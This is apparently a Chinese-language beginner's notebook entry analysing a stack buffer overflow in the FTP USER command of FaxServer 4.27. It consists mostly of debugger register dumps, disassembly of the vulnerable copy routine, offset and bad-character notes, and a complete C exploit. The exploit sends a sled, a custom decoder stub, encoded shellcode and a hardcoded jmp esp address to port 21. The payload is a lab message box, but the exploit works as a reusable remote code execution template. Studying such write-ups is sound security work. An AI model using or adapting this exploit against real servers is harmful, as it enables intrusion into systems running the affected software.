菜鸟笔记之FaxServer 4.27 ftp 溢出漏洞
OS:Windows 2k adv sp4 cn
简要:FaxServer 4.27 ftp服务在处理USER 消息时候存在栈溢出漏洞
分析和利用:
访问违例的场景:
EAX 00000000
ECX 024BFFA4
EDX 000A0000
EBX 77DF79EC USER32.wsprintfA
ESP 024BC2C4 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
EBP 024BCA84 ASCII "USER"
ESI 001BEB68
EDI 001BEBD0 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EIP 41414141
C 0 ES 0023 32位 0(FFFFFFFF)
P 1 CS 001B 32位 0(FFFFFFFF)
A 0 SS 0023 32位 0(FFFFFFFF)
Z 0 DS 0023 32位 0(FFFFFFFF)
S 0 FS 0038 32位 7FFDD000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00000206 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty +UNORM 0008 00000000 00000000
ST1 empty 0.0
ST2 empty 0.0
ST3 empty 0.0
ST4 empty 0.0000000313120255540e-4933
ST5 empty 0.0000000939360766650e-4933
ST6 empty 0.0
ST7 empty 0.0
3 2 1 0 E S P U O Z D I
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
FCW 027F Prec NEAR,53 掩码 1 1 1 1 1 1
01A7FF08 00516D8A |lpStartAddress = ActFax.00516D8A
024CBEA8 0045836B /CALL 到 wsprintfA 来自 ActFax.00458365
024CBEAC 024CBEB8 |s = 024CBEB8
024CBEB0 00525E28 |Format = "%s",CR,LF,""
024CBEB4 024CC384 \<%s> = "331 Password required for user AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...
函数返回时,EDI指向提交字符串的开头
漏洞函数反汇编代码:
函数开始:堆栈中压入返回地址:024CC2C0 0045826C 返回到 ActFax.0045826C 来自 ActFax.005081F0
005081F0 /$ 8B4424 04 mov eax, dword ptr [esp+4]
005081F4 |. 81EC 00030000 sub esp, 300
005081FA |. 8D8C24 000200>lea ecx, dword ptr [esp+200]
00508201 |. 53 push ebx
00508202 |. 55 push ebp
00508203 |. 8B2D 94E35100 mov ebp, dword ptr [<&KERNEL32.lstrc>; KERNEL32.lstrcpyA
00508209 |. 56 push esi
0050820A |. 57 push edi
0050820B |. 50 push eax ; /String2
0050820C |. 51 push ecx ; |String1
0050820D |. FFD5 call ebp ; \lstrcpyA
0050820F |. 8D9424 100200>lea edx, dword ptr [esp+210]
00508216 |. 52 push edx
00508217 |. E8 A4C0FFFF call 005042C0
0050821C |. 8B35 1CCB5400 mov esi, dword ptr [54CB1C]
00508222 |. 83C4 04 add esp, 4
00508225 |. 85F6 test esi, esi
00508227 |. 0F84 92000000 je 005082BF
0050822D |. 8B1D 64E35100 mov ebx, dword ptr [<&KERNEL32.lstrl>; KERNEL32.lstrlenA
00508233 |> F646 0D 01 /test byte ptr [esi+D], 1
00508237 |. 75 7B |jnz short 005082B4
00508239 |. 6A 00 |push 0
0050823B |. 8D4424 14 |lea eax, dword ptr [esp+14]
0050823F |. 68 00010000 |push 100
00508244 |. BF E8030000 |mov edi, 3E8
00508249 |. 50 |push eax
0050824A |. 6A 01 |push 1
0050824C |. 57 |push edi
0050824D |. 56 |push esi
0050824E |. E8 4DB8F7FF |call 00483AA0
00508253 |. 83C4 18 |add esp, 18
00508256 |. 8D4C24 10 |lea ecx, dword ptr [esp+10]
0050825A |. 51 |push ecx
0050825B |. FFD3 |call ebx
0050825D |. 85C0 |test eax, eax
0050825F |. 74 53 |je short 005082B4
00508261 |> 8D5424 10 |/lea edx, dword ptr [esp+10]
00508265 |. 52 ||push edx
00508266 |. E8 55C0FFFF ||call 005042C0
0050826B |. 83C4 04 ||add esp, 4
0050826E |. 8D4424 10 ||lea eax, dword ptr [esp+10]
00508272 |. 8D8C24 100200>||lea ecx, dword ptr [esp+210]
00508279 |. 50 ||push eax ; /String2
0050827A |. 51 ||push ecx ; |String1
0050827B |. FF15 34E35100 ||call dword ptr [<&KERNEL32.lstrcmpA>; \lstrcmpA
00508281 |. 85C0 ||test eax, eax
00508283 |. 0F84 11010000 ||je 0050839A
00508289 |. 47 ||inc edi
0050828A |. 66:81FF 8713 ||cmp di, 1387
0050828F |. 7F 23 ||jg short 005082B4
00508291 |. 6A 00 ||push 0
00508293 |. 8D5424 14 ||lea edx, dword ptr [esp+14]
00508297 |. 68 00010000 ||push 100
0050829C |. 52 ||push edx
0050829D |. 6A 01 ||push 1
0050829F |. 57 ||push edi
005082A0 |. 56 ||push esi
005082A1 |. E8 FAB7F7FF ||call 00483AA0
005082A6 |. 83C4 18 ||add esp, 18
005082A9 |. 8D4424 10 ||lea eax, dword ptr [esp+10]
005082AD |. 50 ||push eax
005082AE |. FFD3 ||call ebx
005082B0 |. 85C0 ||test eax, eax
005082B2 |.^ 75 AD |\jnz short 00508261
005082B4 |> 8B76 20 |mov esi, dword ptr [esi+20]
005082B7 |. 85F6 |test esi, esi
005082B9 |.^ 0F85 74FFFFFF \jnz 00508233
005082BF |> 8B35 1CCB5400 mov esi, dword ptr [54CB1C]
005082C5 |. 85F6 test esi, esi
005082C7 |. 0F84 49010000 je 00508416
005082CD |. 8B9C24 180300>mov ebx, dword ptr [esp+318]
005082D4 |> F646 0D 01 /test byte ptr [esi+D], 1
005082D8 |. 0F85 A4000000 |jnz 00508382
005082DE |. 6A 00 |push 0
005082E0 |. 8D8C24 140100>|lea ecx, dword ptr [esp+114]
005082E7 |. 68 00010000 |push 100
005082EC |. 51 |push ecx
005082ED |. 6A 01 |push 1
005082EF |. 6A 01 |push 1
005082F1 |. 56 |push esi
005082F2 |. E8 A9B7F7FF |call 00483AA0
005082F7 |. 83C4 18 |add esp, 18
005082FA |. 8D9424 100100>|lea edx, dword ptr [esp+110]
00508301 |. 8D4424 10 |lea eax, dword ptr [esp+10]
00508305 |. 52 |push edx
00508306 |. 50 |push eax
00508307 |. FFD5 |call ebp
00508309 |. 8D4C24 10 |lea ecx, dword ptr [esp+10]
0050830D |. 51 |push ecx
0050830E |. E8 ADBFFFFF |call 005042C0
00508313 |. 8B3D 34E35100 |mov edi, dword ptr [<&KERNEL32.lstr>; KERNEL32.lstrcmpA
00508319 |. 83C4 04 |add esp, 4
0050831C |. 8D5424 10 |lea edx, dword ptr [esp+10]
00508320 |. 8D8424 100200>|lea eax, dword ptr [esp+210]
00508327 |. 52 |push edx ; /String2
00508328 |. 50 |push eax ; |String1
00508329 |. FFD7 |call edi ; \lstrcmpA
0050832B |. 85C0 |test eax, eax
0050832D |. 0F84 C1000000 |je 005083F4
00508333 |. 85DB |test ebx, ebx
00508335 |. 74 4B |je short 00508382
00508337 |. 6A 00 |push 0
00508339 |. 8D8C24 140100>|lea ecx, dword ptr [esp+114]
00508340 |. 68 00010000 |push 100
00508345 |. 51 |push ecx
00508346 |. 6A 01 |push 1
00508348 |. 6A 33 |push 33
0050834A |. 56 |push esi
0050834B |. E8 50B7F7FF |call 00483AA0
00508350 |. 83C4 18 |add esp, 18
00508353 |. 8D9424 100100>|lea edx, dword ptr [esp+110]
0050835A |. 8D4424 10 |lea eax, dword ptr [esp+10]
0050835E |. 52 |push edx
0050835F |. 50 |push eax
00508360 |. FFD5 |call ebp
00508362 |. 8D4C24 10 |lea ecx, dword ptr [esp+10]
00508366 |. 51 |push ecx
00508367 |. E8 54BFFFFF |call 005042C0
0050836C |. 83C4 04 |add esp, 4
0050836F |. 8D5424 10 |lea edx, dword ptr [esp+10]
00508373 |. 8D8424 100200>|lea eax, dword ptr [esp+210]
0050837A |. 52 |push edx
0050837B |. 50 |push eax
0050837C |. FFD7 |call edi
0050837E |. 85C0 |test eax, eax
00508380 |. 74 56 |je short 005083D8
00508382 |> 8B76 20 |mov esi, dword ptr [esi+20]
00508385 |. 85F6 |test esi, esi
00508387 |.^ 0F85 47FFFFFF \jnz 005082D4
0050838D |. 5F pop edi
0050838E |. 5E pop esi
0050838F |. 5D pop ebp
00508390 |. 33C0 xor eax, eax
00508392 |. 5B pop ebx
00508393 |. 81C4 00030000 add esp, 300
00508399 |. C3 retn
024CC2C0 - 024CC1C0 = 0x100 = 256 BYTE
256 + len(ret) = 260 字符!
shellcode和充入的<0x20的都被去掉了,0xff也被去掉了
另外不可以有0x20 空格 否则程序会当做两段命令
jmp esp 由于莫名其妙的0x75变成了0x55 ,当时shellcode已经写成,不方便修改于是利用方式如下:
jmp esp 后跳入代码
push edi
ret (参考的EID正好指向原始的字符串的开头,sebug.net上的call edi地址替换jmp esp地址?? 我没有成功 原因不明)
用户名组成:
145 个 0x47 (汇编代码inc edi 当做准nop同时使开始时edi指向解码头的开始)
shellcode解码头 解码0x29偏移处的shellcode:"DDMJFBGIGAHJGPHFGIGGHFGDGLINBECEFBFCFCFBLJJIIAOBHHPPNBLJBKOAOGHHFAPPNB";
shellcode 解码头执行完毕过后执行到shellcode
shelcode 为仅适用于实验平台win2k adv sp4 中文版的msgbox,做实验用而已
exp-test.cpp
#include <stdio.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")
#define PORT 21
#define HOST "127.0.0.1"
#define OFFSET 524
SOCKET sock;
struct sockaddr_in client;
WSADATA wsa;
int InitSocket()
{
if(WSAStartup(MAKEWORD(2,2),&wsa) != 0)
{
printf("[-]WSAStartup Error!\r\n");
return 0;
}
try
{
client.sin_addr.S_un.S_addr = inet_addr(HOST);
client.sin_family = AF_INET;
client.sin_port = htons(PORT);
}catch(...)
{
printf("[-]socket_inaddr init error!\r\n");
return 0;
}
sock = socket(AF_INET,SOCK_STREAM,0);
if(sock == SOCKET_ERROR)
{
printf("[-]socket create error!\r\n");
WSACleanup();
return 0;
}
printf("[+]Socket Init success!\r\n");
return 1;
}
int ConnectServer()
{
printf("Init socket...\r\n");
if(!InitSocket()) return 0;
printf("Connect the Server...\r\n");
if(connect(sock,(struct sockaddr *)&client,sizeof(client)) == SOCKET_ERROR)
{
printf("[-]Connect Error!\r\n");
closesocket(sock);
WSACleanup();
return 0;
}
printf("[+]Connect successfull!\r\n");
return 1;
}
void SendPayload(char *payload)
{
int len;
char recvbuf[512] = "";
if(!ConnectServer()) exit(0);
printf("Send payload:\r\n%s\r\n",payload);
len = send(sock,payload,strlen(payload),0);
printf("[+]send payload %d bytes!\r\n",len);
len = recv(sock,recvbuf,sizeof(recvbuf),0);
printf("[+]recve %d bytes!\r\n", len);
closesocket(sock);
WSACleanup();
}
void main(int argc,char *argv[])
{
unsigned char header[] = "USER ";
int header_size = 5;
unsigned char shellcode[] = ""
"\x8B\xF7" //mov esi, edi
"\x83\xC6\x29" //add esi, 28h
"\xFC" //cld
"\x8B\xFE" //mov edi, esi
"\x8B\xD7" //mov edx, edi
"\x33\xC0" //xor eax, eax
"\x33\xDB" //xor ebx, ebx
"\xAC" //lods byte ptr [esi]
"\x2C\x41" //sub al, 41
"\xC0\xC0\x24" //rol al, 24
"\x8A\xD8" //mov bl, al
"\xAC" //lods byte ptr [esi]
"\x2C\x41" //sub al, 41
"\xFE\xCB" //dec bl
"\xFE\xC0" //inc al
"\x3A\xDF" //cmp bl, bh
"\x75\xF8" //jnz short 0040102B
"\xAA" //stos byte ptr es:[edi]
"\xAC" //lods byte ptr [esi]
"\x3A\xC4" //cmp al, ah
"\x75\xE8" //jnz short 00401021
"\x52\xC3" //jmp edx 包含ff 不能使用. push edx ret
"DDMJFBGIGAHJGPHFGIGGHFGDGLINBECEFBFCFCFBLJJIIAOBHHPPNBLJBKOAOGHHFAPPNB";
int shellcode_size = strlen((char*)shellcode);
unsigned char ret[] = "\xcd\x54\xfa\x7f"; //jmp esp
int ret_size = 4;
unsigned char nops[145]; //shellcode_size + nops_size = 256 here is 256 - 111 = 145
int nops_size = 145;
memset(nops, 0x47, nops_size); //inc edi
int buf_size = header_size + nops_size + shellcode_size + ret_size + 2 + 2 + 1; //\r\n + null
unsigned char* lpBuf = (unsigned char*) malloc(sizeof(unsigned char) * buf_size);
unsigned char* lpRes = lpBuf;
memcpy(lpBuf, header, 5);lpBuf = lpBuf + 5;
memcpy(lpBuf, nops, nops_size);lpBuf = lpBuf + nops_size;
memcpy(lpBuf, shellcode, shellcode_size);lpBuf = lpBuf + shellcode_size;
memcpy(lpBuf, ret, 4);lpBuf = lpBuf + 4;
memcpy(lpBuf, "\x57\xC3", 2);lpBuf = lpBuf + 2; //push edi ret
memcpy(lpBuf, "\r\n", 2);lpBuf = lpBuf + 2;
memset(lpBuf, NULL, 1);
SendPayload((char*) lpRes);
free(lpRes);
}
由于shellcode用了exitProcess,所以很郁闷的faxserver退出了,大体可以看出一直利用思路。本人初学,只是做个笔记,希望大牛们不要笑话。
from:痛苦的信仰